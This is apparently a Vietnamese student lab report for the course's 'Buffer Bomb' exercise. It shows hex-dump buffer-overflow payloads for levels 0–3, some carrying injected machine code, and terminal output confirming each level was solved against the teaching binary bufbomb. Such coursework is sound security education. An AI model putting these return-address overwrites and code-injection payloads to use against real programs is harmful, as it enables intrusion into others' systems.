



BÁO CÁO THỰC HÀNH

Bài thực hành 6.2: Buffer overflow attack: Buffer Bomb

Môn học: Lập trình hệ thống

Lớp: NT209.Q13.ANTT.2

THÀNH VIÊN THỰC HIÊN (Nhóm 6):

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NỘI DUNG BÁO CÁO:

- Quy ước: userid = 346348815

1. Level 0

```
000000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000030 00 00 00 00 00 00 00 00 00 00 00 00 AB 14 3D 80 .....=.  
000000040  
000000050  
--- input_0 --0x0/0x40--0%-----
```

```
tch:~/build/tmp/as  
$ ./bufbomb -u 346348815 < input_0  
Userid: 346348815  
Cookie: 0x69dc8bd2  
Type string:Smoke!: You called smoke()  
VALID  
NICE JOB!  
tch:~/build/tmp/as  
$
```

[0] 0:bash*

"tch@localPC mnt" 18:51 15-Dec-25

Bài thực hành số 04: Tìm hiểu cơ bản về Kỹ thuật Dịch ngược

2. Level 1

```
000000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000030 00 00 00 00 00 00 00 00 00 00 00 D8 14 3D 80 .....=.  
000000040 00 00 00 00 D2 8B DC 69 .....i  
000000050  
--- input_1 --0x0/0x48--0%-----
```

```
tch:~/build/tmp/as  
$ ./bufbomb -u 346348815 < input_1  
Userid: 346348815  
Cookie: 0x69dc8bd2  
Type string:Fizz!: You called fizz(0x69dc8bd2)  
VALID  
NICE JOB!  
tch:~/build/tmp/as  
$ █
```

[0] 0:bash*

"tch@localPC mnt" 18:51 15-Dec-25

3. Level 2

```
000000000 C7 05 60 61 3D 80 D2 8B DC 69 68 29 15 3D 80 C3 ..`a=....ih).=..  
000000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....  
000000030 00 00 00 00 00 00 00 00 00 F0 30 68 55 B8 30 68 55 .....0hU.0hU  
000000040  
000000050  
--- input_2 --0x0/0x40--0%-----
```

```
tch:~/build/tmp/as  
$ ./bufbomb -u 346348815 < input_2  
Userid: 346348815  
Cookie: 0x69dc8bd2  
Type string:Bang!: You set global_value to 0x69dc8bd2  
VALID  
NICE JOB!  
tch:~/build/tmp/as  
$ █
```

[0] 0:bash*

"tch@localPC mnt" 18:52 15-Dec-25

Bài thực hành số 04: Tìm hiểu cơ bản về Kỹ thuật Dịch ngược

4. Level 3

```
000000000 B8 D2 8B DC 69 68 97 15 3D 80 C3 00 00 00 00 00 ....ih..=.....
000000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
000000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
000000030 00 00 00 00 00 00 00 00 10 31 68 55 B8 30 68 55 .....1hU.0hU
000000040
000000050
--- input_3 --0x0/0x40--0%-----
```

```
tch:~/build/tmp/as
$ ./bufbomb -u 346348815 < input_3
Userid: 346348815
Cookie: 0x69dc8bd2
Type string:Boom!: getbuf returned 0x69dc8bd2
VALID
NICE JOB!
tch:~/build/tmp/as
$
```

[0] 0:bash*

"tch@localPC as" 18:52 15-Dec-25